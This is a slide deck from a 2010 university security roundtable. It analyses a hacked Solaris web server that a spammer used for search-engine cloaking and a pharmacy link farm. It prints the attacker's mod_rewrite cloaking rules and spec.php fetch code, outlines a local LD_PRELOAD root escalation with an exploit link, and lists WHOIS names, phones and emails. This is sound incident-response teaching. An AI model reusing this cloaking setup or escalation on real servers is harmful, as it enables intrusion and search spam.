Root Compromise: A SpammerHiding in Plain Sight

CAIT Security RoundtableThursday, June 10, 2010

Brian Allen, CISSP ballen@wustl.edu

Network Security AnalystWashington University in St. Louis

http://nso.wustl.edu/presentations/

Copyright Brian Allen 2009. This work is the intellectual property of the author. Permission is granted for this material to be shared for non-commercial, educational purposes, provided that this copyright statement appears on the reproduced materials and notice is given that the copying

is by permission of the author. To disseminate otherwise or to republish requires written permission from the author.

Washington University in St. Louis, MO

• Private University Founded in 1853• 11,000+ Full Time Students• 3,000+ Full Time/Adjunct Faculty• Hosted four of the past five Presidential and VP Debates• U.S. News & World Report 2009: School of

Medicine = third in nation• Decentralized Campus Network

NSS

NSO

Business School

Law School

Arts & Sciences

Medical School

Engineering School

Internet

Decentralized Campus NetworkNSS = Network Services and SupportNSO = Network Security Office

Library

Social Work

Art & Architecture

Let’s Talk About…

I. A Hacked WebsiteII. False PathsIII. A Hacker’s ScriptIV. Whodunit + Motivation?V. Hunting Spammers

Part I:A Hacked Website

Solaris 10 Apache Webserver

Drupal CMS

PHP Web Apps

Hiding In Plain Sight

Part II:False Paths

“Eliminate all other factors, and the one which remains must be the truth”--Sherlock Holmes, in "The Sign of the Four"

1.It must be Yahoo!

False Paths

“Eliminate all other factors, and the one which remains must be the truth”--Sherlock Holmes, in "The Sign of the Four"

1.It must be Yahoo!2.It must be Yahoo and Google!3.A World Writable Online Calendar?4.Arp Cache Poisoning?

“Have you tried turning itoff and back on again?”

-Roy

THE IT CROWD

“Eliminate all other factors, and the one which remains must be the truth”--Sherlock Holmes, in "The Sign of the Four"

1. It must be Yahoo!2. It must be Yahoo and Google!3. A World Writable Online Calendar?4. Arp Cache Poisoning?5. Have you tried turning it off and back on again?6. Control the web server?

• “It is elementary my dear Watson, they have ROOT!”

--Sherlock HolmesHound of the Spammervilles

PART III:A Hacker’s Script

Files Involved

1. ./apache/conf/httpd.conf – Apache config file

2. x-txt.xml – List of webpages

3. xml_dbm – List of subnets

4. ./apache/conf/map.mime – ModRewrite commands

5. spec.php – Hacker script

httpd.conf

• #Apache Config stuff here• #• #• Include /usr/local/apache/conf/map.mime• #• #• #More Apache Config stuff here

x-txt.xml (list of websites)

nts.wustl.edu /subinfo/spec.php?p-00000001

nts.wustl.edu/about /subinfo/spec.php?p-00000002

nts.wustl.edu/news /subinfo/spec.php?p-00000003

nts.wustl.edu/teaching /subinfo/spec.php?p-00000004

nts.wustl.edu/research /subinfo/spec.php?p-00000005

nts.wustl.edu/calendar /subinfo/spec.php?p-00000006

… 150 lines long

xml_dbm (list of allowed subnets)

66.218.64:yes (YAHOO-3 - Yahoo!)

66.249.64:yes (GOOGLE - Google Inc.)

72.30.1:yes (INKTOMI-LAWSON - Inktomi Corp)

65.52.1:yes (MICROSOFT-CORP-AS - Microsoft Corp)

67.195.1:yes (YAHOO-YSM-DEN – Yahoo)

202.160.176:yes (YAHOO-CN-AP Yahoo China Datacenter)

…4000+

map.mime• RewriteMap txt:/usr/share/mime/text/x-txt.xml• RewriteMap dbm:/usr/share/mime/text/xml_dbm

• RewriteCond %{QUERY_STRING} =p-sLKzHlRQkJHkLS1wESBQtq1EpkA• RewriteCond ${ :%{HTTP_HOST}$1} !=""• RewriteRule ^(.*[^/])/?$|^/$ /subinfo/spec.php?%{QUERY_STRING} [PT]

• RewriteCond %{REMOTE_ADDR} ^([0-9]+\.[0-9]+\.[0-9]+)\.[0-9]+$• RewriteCond ${ :%1|no} =yes• RewriteCond %{QUERY_STRING} !^p\-• RewriteCond %{HTTP_HOST} !^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+• RewriteRule ^(.*[^/])/?$|^/$ ${ :%{HTTP_HOST}$1|$0} [PT]

PfgmisSI

Pfgm

Pfgm

isSI

ModRewrite Rules First Block

• RewriteCond %{QUERY_STRING} = p-sLKzHlRQkJHkLS1wESBQtq1EpkA

• RewriteCond ${PfGm:%{HTTP_HOST}$1} !="“

• RewriteRule ^(.*[^/])/?$|^/$ /subinfo/spec.php?%{QUERY_STRING} [PT]

ModRewrite Rules Second Block• RewriteCond %{REMOTE_ADDR} ^ \.[0-9]+$

• RewriteCond ${isSI:%1|no} =yes

• RewriteCond %{QUERY_STRING} !^p\-

• RewriteCond %{HTTP_HOST} !^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+

• RewriteRule ^(.*[^/])/?$|^/$ ${PfGm:%{HTTP_HOST}$1|$0} [PT]

([0-9]+\.[0-9]+\.[0-9]+)

66.218.64:yes

Case 1- WU user clicks on the page:

• http://nts.wustl.edu/

Then he will fail all the ModRewrite conditions and be sent directly to:

• http://nts.wustl.edu/

Case 2-If Googlebot makes a regular request:

• http://nts.wustl.edu/Matches the second block of ConditionsModRewrite will change it to:• http://nts.wustl.edu/subinfo/spec.php?p-

00000001Let us see what happens when this request is

sent to the spec.php script

The Highlight of spec.php• $fa=array(‘81.222.X.Y’,’82.195.X.Y’,’82.204.X.Y’,’ 209.160.X.Y’,

‘216.255.X.Y’, ’217.11.X.Y’,’217.16.X.Y’,’217.107.X.Y’);• $fhost = $fa[rand(0.8) ];• $fp = fsockopen($fhost, 80, $errno, $errstr, GET_TIMEOUT);• if($fp)• {• $resp_arr = array();• $out = "GET /feed/0fake_pages/ .html HTTP/1.0\r\n";• $out .= "Host: $fhost\r\n";• …cont. ---------------------------------x-txt.html----------------------------------------• nts.wustl.edu /subinfo/spec.php?p-• nts.wustl.edu/about /subinfo/spec.php?p-00000002• nts.wustl.edu/news /subinfo/spec.php?p-00000003

$cid

00000001

Pharm-search.com

http://nts.wustl.edu/

http://nts.wustl.edu/subinfo/spec.php?p-00000001

spec.php Hacker’s web server

GET /feed/0fake_pages/00000001.html HTTP/1.0

From Google (66.249.64.11)

Part IV:Whodunit + Motivation?

Some Terms From This Incident• SEO: The process of improving the volume or

quality of traffic to a web site from search engines

• Black Hat SEO: Degrades both the relevance of search results and the user-experience of search engines -> Cloaking and Link Farms

Cloaking

When a web server returns one page to a search enginespider that is different forhuman users

Cloaking

Group of web sites thatall link to every other sitein the group

Link Farm

Hacker’s Motivation

• The hack was creating a Link Farm and using Cloaking

• The quality score from the good sites -> higher organic display of the scummy site

• He was doing Black Hat SEO for his site: pharm-search.com

• Interestingly, today Yahoo returns a result for pharm-search.com while Google has removed it from their search results

Spam Product Supplier

Seller 1 Seller 2 Seller 3

Accountant

Spammer3

Spammer2Spammer1

Spammer1

Spammer2

Spammer3

Spammer1

Spammer2

Spammer3

SEO?

SEO?

Where Did the Hacker Come From?

• University of Hertfordshire, England - 147.197.X.Y • Investelektrosviaz Ltd., Moscow - 78.107.X.Y• CORBINA-AS Corbina Telecom, Moscow - 78.107.X.Y• ELTEL.net, Moscow - 81.222.X.Y• Foratec Communication, Sverdlovsk, Tyumen - 82.195.X.Y• COMSTAR, Moscow - 82.204.X.Y• HopOne Internet Corporation, Salt Lake City - 209.160.X.Y• InterCage, Inc., Louisville - 216.255.X.Y• Casablanca INT, Prague, Czech Republic - 217.11.X.Y• Masterhost, Moscow - 217.16.X.Y• RTComm.RU, Moscow - 217.107.X.Y

• IP DNS Passive DNS

• 81.222.X.Y sweb.ru NA

• 82.195.X.Y (NXDOMAIN) NA

• 82.204.X.Y morda.newmail.ru nightmail.ru, newmail.ru, nm.ru

• 209.160.X.Y (NXDOMAIN) NA

• 216.255.X.Y 216.255.X.Y.intercage.com ns1.ixcodec.net,

ns2.ixcodec.net

• 217.11.X.Y 217-11-X-Y.casablanca.cz NA

• 217.16.X.Y by.ru ns1.near.ru, ns1.by.ru, mail.by.ru

• 217.107.X.Y at85.bind4you.net kaiman.ru

Knee Deep in a Professional Spam Ring

• Pharm-search.com = 88.214.X.Y• netname: UK-UAONLINE-20060118 • descr: Real International Business Corp. country: GB • address: Real International Business Corp. 145-157 St John

Street 2nd Floor EC1V 4PY LONDON UNITED KINGDOM • phone: +16462333035 • e-mail: makc@center.hqhost.net • person: Soldatov Maxim • address: Marylebone high street 78 • address: W1U 5AP London • phone: +380 50 4985406 • e-mail: makc@ipipe.net

SpamHaus -> Russian Business Network?

• Pharm-search.com = 88.214.217.248• 88.214.192.0/18 is listed on the Spamhaus Block List• Ipipe/UAOnline• Canadian Pharmacy -> Russian Business Network

• “This is a long time pharmacy spam operation which uses both bullet proof hosting and botnets to host their sites. They have dozens of terminations.”

Part V:Spammer Hunting

Time to Catch the Hacker in the Act

• Solaris 10 has Dtrace = System Monitor, plus a script called shellsnoop

• We broke the link to the spec.php script and waited

• Sure enough, he logged in a couple nights later• We could see how he was getting root and

where he was hiding

IT’S ATRAP!

How Did He Get Root?

1) SSH <user>@nts.wustl.edu2) # LD_PRELOAD=/usr/lib/secure/... 3) # su – 4) Now he has root• Local Solaris 10 exploit in NetScape Portable

Runtime (NSPR) is fixed by a patch• http://www.milw0rm.com/exploits/2569

Hacker Time

1. Checked to see what was running2. Checked to see what was in cron3. Cleaned Log files with a script he stashed4. Changed time stamps on some files

Conclusion: Is Your Server Safe?

• Beside the standard recommendations to secure any web server, try these good tools:– Subscribe your site to Google Webmaster Tool and

Yahoo Site Explorer– Set a Google Alert on the site – this will notify if there

are any changes related to the site from the search engine’s point of view

• http://www.google.com/webmasters/• http://www.google.com/alerts• http://siteexplorer.search.yahoo.com/

Conclusion: Is Your Server Safe?

• PATCH, TRIPWIRE, PATCH, TRIPWIRE, PATCH, TRIPWIRE…• Online Solaris Fingerprint Database - Checks 256 hashes at

a time:http://sunsolve.sun.com/fileFingerprints.do• Download the list of Solaris 10 fingerprints and check your

system yourself:http://sunsolve.sun.com/show.do?target=content/content7• Solaris and some Linux flavors can run CISecurity

Benchmark/Scoring tool: www.cisecurity.org

References• philip.html5.org/misc/spammy-sites.txt• expressionengine.com/forums/viewthread/68566• www.milw0rm.com/exploits/2569• www.google.com/webmasters• www.google.com/alerts• siteexplorer.search.yahoo.com• sunsolve.sun.com/fileFingerprints.do• sunsolve.sun.com/show.do?target=content/content7• www.cisecurity.org• www.educause.edu/Resources/TheRoleofeduinSpammerProfitsan/162947• www.educause.edu/Resources/AnARPSpoofingandRouterImperson/

162955

Open Questions

• How did he get the … file in /usr/lib/secure? Only root can get in there?

• Where did all the Dreamhost sites go to get their spam data? Did they have their own 0fake_pages location on those eight servers?